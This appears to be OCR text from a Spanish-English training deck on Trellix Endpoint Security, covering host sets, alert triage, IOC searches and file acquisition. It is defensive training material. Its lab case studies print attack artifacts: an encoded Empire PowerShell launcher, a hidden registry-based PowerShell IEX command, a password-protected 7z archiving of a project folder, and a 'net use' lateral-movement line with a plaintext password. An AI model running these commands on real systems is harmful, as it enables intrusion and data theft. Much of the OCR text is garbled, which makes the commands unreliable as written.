a* Using set builder

Host Sets 8 hostsin "All Hosts" Detail for wkst-3157115

e Using static list

Name

Servers *

Win7 Machines *

Win10 Machines

whst-136391
10.250.10.215 = fe80:3c/2-ed81:c

wkst-3153405

10.250.10.128 = fe80::d55c:d179:f...

whst-1951336

10.240.10.63 = feB0::35d6:7fe:bak...

whkst-3157115
10.250.10.148 = fe80:e05a-dB38:6

whkst-526185

10.250.10.234 = feB0::38cd: 1220

whst-3125398
10.250.10.200 = fe80::9544:3b11:...

wkst-513310

10.250.10.38 = feB0::acf5:20c3:f42

Intergalactic7H
10.250.10.229 = fe80:b476:2659:...

Q

2018-09-05 14:40:10Z

2018-06-05 16:26:00Z

2018-08-08 09:55:287

2018-09-06 14:47:50Z

2018-09-06 16:34:437

2018-09-06 14:59:39Z

2018-08-06 17:10:00Z

2018-06-06 17:21:237

IP Address:

Agent ID:
Agent Verslon:
05:

Patch:

Kernel:

Bit Level:
Domain:
Timezone:
GMT Offset:
Last Sysinfo:
Last Sysinfo (skewed):

Initial Agent Connectlon:

10.250.10.148
fe80::e05a:d838:6d62.f34
feB0::5efe:afa:add

127.0.01

7Unh2GswtB6EpPm]y6uTkg
27.30.0
Windows 7 Enterprise N

Service Pack 1

64-bit

WORKGROUP
Central Daylight Time
UTC-5:00

2018-09-06 12:47:51Z

2018-09-06 14:47-50Z




Standard Host Sets (Grupos dinamicos)
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10 hostsin "result”

Q

{resulc}
{Timezone:"Pacific D.\
VICTIM-7FHSOH5
10.12.10.130 = fe80::789d:d4f.. 2018-07-28 00:57:02Z

EPQ-W10
10.12.10.25 = fe80:-9c44:-ede?. 2018-08-09 04:35:397
{ProductName:"Win 10 En__"}

VICTIM-7FHS0H5
10.12.10.218 = fe80::7d37:a3. 2018-06-26 07:29:17Z

r Windows 10 Enterprise MICTIMCZE NSNS
SAVED HOST SETS Create Expression 10.12.10.179 = fe80::19ef4b4... 2018-06-26 02:12:16Z
All Hosts Windows 10 Enterprise VICTIM-7EHSOH5
‘ 10.12.10.54 = fe80::8d65:7dc... 2018-06-19 06:44:53Z
Agent Version Windows 7 Professiona
VICTIM-7FHSOH5
10.12.10.175 = feB0::f092:ab8_.. 2018-07-19 20:15:26Z

Domain

0OS & Patch
VICTIM-7FHSOH5

Bit level / 10.12.10.193 = fe80::59df:af3_.. 2018-06-26 23:29:16Z

z e , VICTIM-7FHSOHS
{"ProductName" : Windows 10 Enterprise } 10.12.10.80 = fe80:-8434:2de. 2018-06-30 05:59:207

Timezone

Subnet




High Value Hosts
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High-Value Hosts

Host Sets

8

High-value hosts
e Executive Systems

TrelliX
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X ENDPOINT SECURITY DASHBOARD ALERTS HOSTS ACQUISITIONS RULES ENTERPRISE SEARCH ADMIN

Aging Settings

Indicator & Alert Aging

Rules

(@) Delete indicator when it's had no alerts for H nst Ag i ng

No auto-deletion; I will delete indicators m

Alerts

Host Deletion

Delete alerts after: | 30 days

Host Aging @ Delete hosts from the database after: | 90 days Range: 1 day - 365 days

Host Deletion

Neo auto-deletion; | will delete hosts manually

Delete hosts from the database after:

@ No auto-deletion; | will delete hosts manu:

Host Inactivity HDSI: |I'IaCti\Fit}\'

Show on the dashboard when hosts are inactive
T ——— al __ §__& R __ ___§_8® & __a_ ¥ _ _a¥ _ _

Malware Scans Aging

TrelliX




Resumen
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Endpoint Security Operational Overview

Product features
* User Interfaces
« Trellix Endpoint Security agent
* Ring buffer

Deployments
« Appliance configuration
« Agent management and configuration
* Host management

TreliX




Agenda

Endpoint Security

s/ VNANSNS~SNNANANLV | |/ —

Endpoint Security Alerts
e Reglas

e Tipos de alerta

e Resumen de triage
Identificar I0OCs

e Enterprise Search

e File Acquisitions
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Exploit Guard

* Monitors commonly
exploited applications

* Detection with option
to block

e Trellix-managed
detection

TreliX

Engines de deteccidn

Malware Protection

* Signature-based

* Full AV Replacement

+ Can configure
guarantine

« Can configure Malware
Scans

* MalwareGuard Machine
Learning

Real-time Detection

Based on Agent events
Trellix-provided and
custom©
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Trellix

First Seen: 2021-01-28

This rule alerts on an APT-related Malw|

appliances.

TrelliX

ID# 53105

| % fireeye, ids, malwa

Summary

Malware
VXE Callback
Application
Type

File Type
Builtin AV

W Malicious behaviour observed

Endpoint Details

Status
Domain
IP Address

Endpoint Compromised
WORKGROUP
10.240.10.154

B Malware Binary. pdf
W Ransomware Downloader. Locky
Multiple Adobe Reader X

pdf

B PUA Pdf Trojan OpenActionObjectw
ithjavascript-1

~ Bot Communication Details Alerts (4)

Server DNS
Name

~ Callback communication observed from V!

Server DNS
Name

zhongjianbao.com

4

199.xX.XXX.X XPLT

IP Protocel
Victim IP
Victim Port
Target IP

Src MAC
Address

NT SECURITY

FILTER BY:

SORTED BY:

TCP
1024010154
80
172.78.135.34

(00:00:00:00:00:00

DASHEOARD  ALERTS

Disposition

All

Priority

Exploit activity in iexplore.exe

Iniciar una investigacion a partir de una alerta

HOSTS ACQUISITIONS ~ RULES  ENTERPRISESEARCH  ADMIN

Windows 7 Enterprise WORKGROUP

Observed Behavior

+ ROP memory manipulation
« Exploit Shellcode allocating memory
+ ROP Shellcode Activi

« Suspicious HTTP Request Attempt

+ Suspicious file loaded in memory by ROP

+ File created using ROP
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1 Condition
for detecting presence

Alerts on

fileWriteEvent/filePath

fileWriteEvent/fileExtension ps1

fileWriteEvent/process wscript.exe

filewriteEvent/filePath virtualstore

fileWriteEvent/md5
dcc509a6f75849b

c4ca4238a0b923820

TrelliX

Condiciones y tipos de indicadores

1 Condition
for detecting execution

Alerts on

processEvent/process powershell.exe

processEvent/processCmadLine appda
ta

processEvent/parentProcess wscri pt.ex
e

pFO[ESSEVEHUPFO[ESSCmdUI’IE
n

processEvent/processCmadlLine errora
ction

MAL

PRS

EXC




Hosts con Alertas
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X ENDPOINT SECURITY

DASHBOARD ALERTS HOSTS

ACQUISITIONS

ENTERPRISE SEARCH

MODULES

Q

Hosts with Alerts

Alert type
All
FILTER BY:

Agent
50 Al
(@) priority

SORT BY:

Actions...

RESEARCH-1
VICTIM-7FHSOH5
||

victim-PC

TrelliX

Protection & Remediation Disposition

All Not False Positive

Newest alert Most events Maost alert types

- 0 hosts selected

Windows 10 Enterprise WORKGROUP

Windows 10 Enterprise

WORKGROUP

Windows 7 Professional WORKGROUP

Host set
All

Agent Version: 27.29.0

Agent Version: 27.29.0

Agent Version: 27.29.0

Containment state
Ll

1 ALERT
13 days ago

8  ALERTS
25 days ago

39  ALERTS
34 days ago

1-50 of 68

2 BLOCKS,
7 QUARANTINES




Gestion de alertas
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¥ ENDPOINT SECURITY DASHBOARD ALERTS HOSTS ACQUISITIONS RULES ENTERPRISE SEARCH ADMIN MODULES

Total Alerts Total False Positives

L

Disposition Acknowledged | Protection and Remediation | Alert Type
All All All

10.250.10.120 a03cf3838775e0801a089%4cBbacd2e56 1oc
10.250.10.88

10.250.10.88 3ed3274b3ddcacf41 6adadcB27f7abad

10.250.10.89 ff2d7820a448a45605dc3f7662fa7160

10.250.10.89 64dfebd5claa7Bec4d2B8f3ce7eBad6ed

10.250.10.89 a92f13f3a1b3b39833d3cc33630106713

10.250.10.89 2433f77190cBca92e574c643531 e46f

10.250.10.120 7e5f3b61b9%e26aff37b0a027c113%8e

10.250.10.120 e4695fae050c7c5ebfddBed5836eeeds

TrelliX
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«m Victim-PC
-

)
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Windows 7 Professional

WORKGROUP Agent Version: 27.29.0

REQUEST CONTAINMENT ACQUIRE v DELETE ALERTS

14 ALERTS
65 days ago

2 BLOCKS

File wannacryptor
written

WANNACRY RANSOMWARE (...

Alerted 3 times on

fileWriteEvent/fileExtension

filewriteEvent/fileName

1 of 3 File Write Events

bmp

‘wannacryptor

1 indicator generates this condition:

Source: Mandiant
This 10C identifies artifacts associated with the execution of WANNACRY]
ransomware family and variants.

C:\Users\victim\Desktop\'WannaCryptorl.bmp

‘99ae8326b4bc406daf54ddc7c5e43abe - 1.4MB

Alerted

65 days ago

I fileWriteEvent/timestamp

2018-07-11 20:53:56Z

fileWriteEvent/fullPath

fileWriteEvent/filePath

fileWriteEvent/drive

fileWriteEvent/fileName

fileWriteEvent/fileExtension

fileWriteEvent/devicePath

C:\Users\victim\Desktop\IWannaCryptor!.bmp
Users\victim\Desktop

©

IWannaCryptorl bmp

bmp

\Device\HarddiskVolume2

fileWriteEvent/pid

3192

fileWriteEvent/process

~miLiwKCFOHK exe
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Record Details

1oc  EMPIRE RAT (BACKDOOR)

Desaription: EMPIRE is a publidy available post-exploitation framework used by Red Teams and nation state threat actors. The EMPIRE readmefiled ~ Process
post-exploitation agent built on aryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell ¢
rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all
framework. It premiered at BSidesLV in 2015.". This is associated with MITRE ATT&CK (r) Tactic(s): Execution and Technique(s): T1059.001. 3832

powershell exe

St_oryGraph Source: | TRIAGE ALERT HOST D5 Hash 92f44e405db16ac55d97e3bfe3b132fa

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell e
xe" -noP -sta -w 1 -enc
SQBGACZAIABQAFMAVEBFAFIACWBJAEBATEBUAEEAYgBSAG UAI
SBQAFMAVZBFAHIAUWBJAESATZAUAEOAY QBKAESACEAGACOAZ
WBFACAAMWADAHSAFQA7AFSAUWBSAFMAGABIAGOAL gBOAGU
SHOW LEGEND f— EXPAND ALL AVAAUAFMARQBSAFYAaQBDAEUAUABPAEKAbgBOAEDAQQBUA
EEAZWBFAFIAXQABADOARQBYAHAAZ QBJAHQAMQAWADAAQW
BPAG4AVABPAE4ACQBIADOAMAA7ACQAZQA2AGMAQWATADO
ATgBIAHCAL QBPAGIASZBFAGMAVAAZAFMAWQBZAHQARQBIAC]
AATEBIAHQAL gBXAGUAQEBDAEWASQBFAEAAJAATACQAIQAI
ACCATQBVAHOAIQBSAGWAYQAVADUAL BAWACAAKABXAGKADE
BKAGBAdWBZACAATZBUACAANZAUADEAOWAZAFCATWBXADYA
NAA7ACAAVABYAGKAZABIAGAAJAAVADCAL GAWADSAIAByAHYA
OgAXADEAL GAWACKAIABSAGKAGWBIACAARWBIAGMAGWBVACCA
OWAKAHMAZQBYADOAJAAGAFSAVABFAFZAJAAUAE UATEBDAGS
AZABpAGAAZWBAADOAOGBVAEAAaQBAEBAZABFACAARWBIAF
d93f411 QAUWBOAHIASQBOAGCAKABDAEMADBWBOAFYARQBSAFQAXQA
6ADOAREBYAGBATQBCAGEAUWBFADYANABTAHQACEBPAGAAZ
WAOACCAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDA
DgAQQBMAHCAQEB3AEEARWAAAEEAYZB3AEIAeQBBAEGAUQB
BAGUAQQBCADAAQQBHAFKAQQBIAHCAQEBSAEEARWAWAEEA
@ 230 102502 WQBRAEIAMABBAEMANABBAFKAdWBCAHYAQQBHADAAQQBP
e AGCAQQAWAEEARABRAEEATQB3AEEAPQANACKAKQADADSAJAB
explorer.exe - 1896 mshta.exe - 2328 - OADOAJWAVAGAAZQB3AHMAL ZBWAGZACAANADSAIABIADYAQW
\ registry writes 1b4d7c2 BDADUAL gBIAEUAQQBKAGUAUgBZACAAQQBEAEQAKAANAFUA
WBIAHIALQBBAGCAZQBUAHQAIWASACQAAQAPADSAJABFADYA
YWBJADUAL gBQAFIAbWBYAHKAPQBBAFMACQBZAHQAZQBNAC
registry \ AATEBIAHQAL EBXAEUAYEBSAEUACQB1AEUACWBUAFOAOZAGA
EQARQBMAGEAQBSAHQAVWBFAGIAUABYAGEAEABZADSA/ABI
ADYAQWBDADUALZBQAHIATWBYAFKALgBDAHIARQBEAEUADGE
OAGKAQQBMAHMAIAAIACAAWWBTAFKAUWBOAGUADQAUAEAA

I rel I I x/ ZQBUACAAQWBSAEUAZABFAEAAJABPAGEADABDAGEAYWBOA

Storytime Visualization

9Y95NS(
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Caso de estudio

MAL  J5:Trojan.)S.ExploitKit.C on swe_karasoyemlak_com[1].htm

S VAVNNNS

- acpumoss  wEs o st

1of 1 MalwareEvents |4« < >
I . e

Wirdiows 7 Professional - WORKGROUP o 31280
Araibian Sandard Tene  SYSTEM Last Sysinfi 30210414 01.27:552

@ Signature detection

it EVENT DETAILS

W Trogen 6 apasetn C o e

Alerted 24 days ago

@ Sgnane seactsn

o SCAN DETAILS

owa

[rme—
fem Scan type On-access
W S TrojantSExpl onswe karssoyeriah co | Semmed shject

[r— Scanned object File
s [rS— [rE—

Matame e

- [ e MALWARE DETAILS

Malware name JS:Trojan JS.ExploitKit.C

at

== E Malware type Malware

2 ar3esmse 2

CPragram Fes (B8t Exsorer sz are aae

o PROCESS DETAILS

Process path C:\Program Files (x86)\Internet Explorer\iexplore.exe
PID 1412

A EDGEHGNT BETALS Username victim




Opciones de analisis
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Triage Summary Audit Viewer Redline

¥ ENDPOINT SECURITY DASHBOARD ALERTS HOSTS ¥ ENDPOINT SECURITY

- L Audit Viewer wist 2034392 > Timeli
Triage Summary For Victima-1

Data Acquisitions O] All Fields

Alerting Processes iexpl ore.exe r36%

iexplore.exe * 3696 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Descendants 2018-07-18 15:08:08.6827

cmd.exe * 2932 Exploits
atexe * 600 Processes

netexe * 1240 Network

bnts2.dll + 2732
Registry Keys

cmd.exe * 3908
Files

Salb.exe * 3512

3 Exploits

TrelliX
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Acquisitions

Acquisition Requested By
Automatic

Automatic

matthew.briggs@fireeye.com

Automatic

Automatic

TrelliX

Requested
18 days ago
18 days ago

19 days ago

19 days ago
19 days ago

Acceso al resumen del triage

Status
o Acquired

2 Acquired

E: Acquired

43 Acquired

| VIEW TRIAGE SUMMARY ‘

| PROCESS DATA ACQUISITION ‘




Resumen del Triage

/711 1TV N NNNSNS

Triage Su mmary For Research-1 & @ contain CANCEL CONTAINMENT REQUEST | TRIAGE SUMMARY v

1

Alerting Processes eventvwr.exXe - 1524 Stwarted: 2021-03-04 03:22:07.1127 ACQUIRE PROCESS DETAILS }

eventvwr.exe + 1524 "C:A\Windows\SysWOW64\eventvwr.exe”

Descendants 2021-03-04 03:21:37.1437 2021-03-04 03:22:37.1437

cmd.exe = 3252 Processes

atexe = 1300 Registry Keys
netexe - 1988

powershell.exe = 2696 . Processes

From 2021-03-04 03:12:42.718Z to 2021-03-04 03:23:20.612Z
bnts2.dll - 2908

PID Path Username Start Time |

[ J— C:AWindows\SysWOW64\WindowsPowerShell\wv1 O\powershell exe RESEARCH-1\wictim 2021-03-04 03:22:07.147Z

iexplore.exe = 3080

4 Registry Keys
From 2021-03-04 03:12:50.597Z 10 2021-03-04 03:22:53 3127
Siblings
= HKEY_USERS\5-1-5-21-2256680192-3047852441-4237031754-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet
eventvwr.exe =
HKEY_USERS\5-1-5-21-2256680192-3047852441-4237031754-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass
HKEY_USERS\5-1-5-21-2256680192-3047852441-4237031754-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName

HKEY_USERS\5-1-5-21-2256680192-3047852441-4237031754-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect

TrelliX




Resumen del Triage - Procesos secundarios

/71 11TV NNNNSS

Triage Su mmary For Research-1 & & conTain CANCEL CONTAINMENT REQUEST TRIAGE SUMMARY +

Alerting Processes EXC powershell.exe -2696 Started: 2021-03-04 03:22:07.147Z ACQUIRE PROCESS DETAILS

eventvwr.exe = 1524 "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -nop -w hidden -c "IEX (Get-ltemProperty -Path HKCUASoftware\Classes\mscfile\shell\open\command -Name DBSHqiBI).DBS..

Descendants 2021-03-04 03:21:41 6467 2021-03-04 03:22:41 6467

cmd.exe = 3252 Processes .
atexe - 1300 Network
net.exe - 1988 Registry Keys
powershell.exe = 2696 Files

bnrs2.dll - 2908

. Processes

Parent From 2021-03-04 03:12:42.718Z to 2021-03-04 03:23:20.612Z

iexplore.exe + 3080 PID Path Username Start Time |
C:\Windows\SysWOW64\cmd_exe RESEARCH-1\victim 2021-03-04 03:22:16.009Z
Siblings
1 IP Addresses 1 | Domains

eventvwr.exe - 2368
From 2021-03-04 03:12:50.593Z to 2021-03-04 03:23:20.2627 From 2021-03-04 03:12:50.9387 to 2021-03-04 03:23:20.2627

Remote Address Remote Port Protocol # of times Domains # of times

10.12.19.163 443 TCP 2 inform_bedircati.com &

47 | Registry Keys

TrelliX




Resumen del Triage - Archivos escritos
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Alerting Processes EXC powershel l.exe -26% Started: 2021-03-04 03:22:07.147Z ACQUIRE PROCESS DETAILS

eventvwrexe = 1524 "CA\Windows\System32\WindowsPowershell\w1.0\powershell.exe” -nop -w hidden -c "IEX (Get-ltemProperty -Path HKCU:\Software\Classes\mscfile\shell\open\command -Name DBSHqiBI).DB...

Descendants 2021-03-04 03:21:41 6467 2021-03-04 03:22:41 6467

cmd.exe = 3252 Processes .

atexe = 1300 Network

netexe - 1988 Registry Keys

powershellexe - 2696 Files

bnts2.dll - 2908

5 Files

Parent From 2021-03-04 03:21:41.6467 to 2021-03-04 03:22:41 6467

iexplore.exe - 3080 2021-03-04 03:22:07.336Z CA\Userswictim\AppData\Roaming\Microsaft\Windows\Recent\CustomDestinations\[VA7906529KAX1Y23QM0.temp

2021-03-04 03:22:07.353Z CAUserswictim\AppData\Roamingi\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.custom Destinations-
Siblings s
2021-03-04 03:22:13.433Z C:\Windows\Help\help.bat

2021-03-04 03:22:13.543Z C:AWindows\Help\program.bat

2021-03-04 03:22:15.9647 C:AWindows\Help\bnis2 dll

Size: 716.5KB

MD5: 744d0e63bcb20438dd3efcd 764503490
SHA1:

Data Offset: 0

Closed: True

Device Path: \Device\HarddiskVolume2

Drive: C

Text Data at OffsetMZ @

eventvwr exe = 2368

TrelliX




Resumen del Triage - Archivos disfrazados
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Alerting Processes bntsz.d " «2908 Started: 2021-03-04 03:22:16.924Z ACQUIRE PROCESS DETAILS

eventvwr.exe = 1524 CAWINDOWS\Help\bnts2.dll a CAWINDOWS\Helpt\sysdm2.chm "C:\users\research_admin\documents\project shamwow\*" -y -pYOINK! 9

Descendants 2021-03-04 03:21:48.162Z 2021-03-04 03:22:48 1627

cmd.exe - 3252
atexe = 1300

net.exe - 1988 1 Files

hell 2696 From 2021-03-04 03:12:51.735Z to 2021-03-04 03:23:00.162Z
powershell.exe =

Path 'IO
bnts2.dll - 2908
- C:A\Windows\Help\sysdm2.chm ACQUIRE

4 2MB - (last write)
Data Offset: 0
iexplore.exe = 3080 Closed: True
Device Path: \Device\HarddiskVolume2
Drive: C
Siblings Text Data at Offset (last write):7z."_7bc_B__ % Y 2yYy =9<

Parent

Timeline of changes

> 2021-03-04 03:22:18.1627

eventvwr.exe = 2368

TrelliX




Resumen del Triage - Movimiento lateral
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Alerting Processes net.exe - 1988 Started: 2021-03-04 03:22:16.079Z ACQUIRE PROCESS DETAILS

1

SRR ARE © U net use WRESEARCH-2\C$ /user-RESEARCH-2\research_admin Research$Password

Descendants 2021-03-04 03:21:46.079Z 2021-03-04 03:22:46.079Z

G e There were no events captured for this process
atexe = 1300

net.exe - 1988
powershell.exe * 2696

bnts2.dll - 2908

Parent

iexplore.exe = 3080

Siblings

eventvwr.exe - 2368

TrelliX
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Continuacion de la investigacion

/771 1TV NNNNS

¥ ENDPOINT SECURITY DASHBOARD ALERTS HOSTS ACQUISITIONS RULES ENTERPRISE SEARCH MODULES

Triage Su mmary For Research-1 & @ conTAIN CANCEL CONTAINMENT REQUEST TRIAGE SUMMARY ..I

19 days ago - autom...

19 days ago - agtom...
Alerting Processes net.exe - 1988 Started: 2021-03-04 03:22-16.079Z ACQUIRE PROCESS DETAILS

eventvwrexe = 1524 net use \Wresearch-2\C$ /user:research_admin REDACTED

Descendants 2021-03-04 03:21:46 0792 2021-03-04 03:22:46.079Z

Ehd exaliazoZ There were no events captured for this process

atexe + 1300
netexe - 1988
powershell.exe - 2696

bnts2 dil - 2908

Parent

iexplore.exe - 3080

Siblings

eventvwr.exe = 2368

TrelliX
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Buscando IOCs
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Process Started CAUsers\adminjAppData‘\Local \Temp\ifidex.cgi.exe 3504 1976 15944
Parentname: CAWINDOWSRscript.exe
Command Line: " C:\Usergfadmin \Temp\index.cgi.exe "
MD5: 40e5b26fa58bb3af7322d74e05508 84
SHAT: bf08a9193410635a00787b65f99db1

fo8fea7

File Full Path contains ‘\AppDatahlLocal\Temp o Parent Process Name contains | wscript.exe o Search

All supported hosts can run this search

TreliX




Enterprise Search
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/
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(-I:-) File Text Written

Windows hosts can run this search.

Searches 1o

RETURN Hostname
WHERE Host Set All hosts

TrelliX

File Name

Searchable fields

‘ equals [ not equals | contains m




Busqueda exhaustiva

/711 1TV N NNNSNS

Registry Key Value Name serrver

Enable exhaustive search

Includes searching for a: Registry Key

Registry on disk search parameters: i

Filter by Registry Hive: | HKEY_LOCAL_MACHINE\Software

Windows hosts can run this search.
Windeows hosts can run this search.

0s Audits Audits with Exhaustive Search

Registry Event Registry Key




Modo de cuadricula y busqueda de grupos de hosts
especificos

Registry Key Full Path \currentversion\runt Host Set Windows Servers

Group By Registry Key Value Name, Registry Key Val

Enable exhaustive search

Includes searching for a: Registry Key

Windows hosts can run this search.

TrelliX




Host Sets (grupos de hosts)

/711 1TV N NNNSNS

ENTERPRISE SEARCH MODULES
10 hostsin "result"

ASSIGN POLICIES TO HOST SETS l _

e Using set bui\derJ {Timezone:"Pacific D.X_
Be Using static |

{result}

VICTIM-7FHSOH5
10.12.10.130 = fe80::789d:d4f...

Detail view

EPQ-W10
10.12.10.25 = fe80::9c44:ede2
{ProductName:"Win 10 En__."}

VICTIM-7FHSOH5
10.12.10.218 = feB80::7d37:a3...

VICTIM-7FHSOH5

Windows 10 Enterprise
- 10.12.10.179 = feB0::19ef-4b4..

SAVED HOST SETS Create Expression

All Hosts Windows 10 Enterprise v ’ { VICTIM-7EHSOHS
10.12.10.54 = fe80::8d65:7dc...
Agent Version Windows 7 Professional

VICTIM-7FHSOH5

Domain 10.12.10.175 = fe80::f092:ab8..

0S & Patch
VICTIM-7FHSOH5

Bit level 10.12.10.193 = fe80::59df:af3...

e VICTIM-7FHSOH5

Timezone _ .
{"ProductName" : Windows 10 Enterprise } 10.12.10.80 = fe80::8434:2de ..

Subnet

TrelliX
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Adquisiciones

ST VNNNNS

X ENDPOINT SECURITY DASHBOARD ALERTS HOSTS ACQUISITIONS CUTE- ENTERPRISE SEARCH ADMIN MODULES s

Acquire File From 1 Host: ®
a q -
Hosts with Alerts
—— Acquisition space: 4.95% full - 171.1GB remaining
Alert type Protection & Remediation Disposition H
50 FILTER BY: All All MewTiSe Positive
File Name: bntsE_d|I| .
SORT BY: @ Priority Newest alert Most eyfits Most alert types
Actions - 1 host selected Path:
Request containment i %SYSTEMROOT%
Acquire
Windows 10 Enterprise WORKGR(
tive De Using: RAW (recommended
Comprehensive Investigative Details & @ ( )
Quick File Listi
Windows 10 Enterprise WORKGR( e
Windows 7 Professional WORKGR( Comment:
ory (From Even
GS Data
aho-bit Windows 7 Professional WORKGR(
tor Events NS
elete
ript
Agent D ‘Per o CANCEL ACQUIRE
D e Windows 7 Professional WORKGR(
elete
Delete - 35 days ago 34 QUARANTINES

Delete host
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Participation
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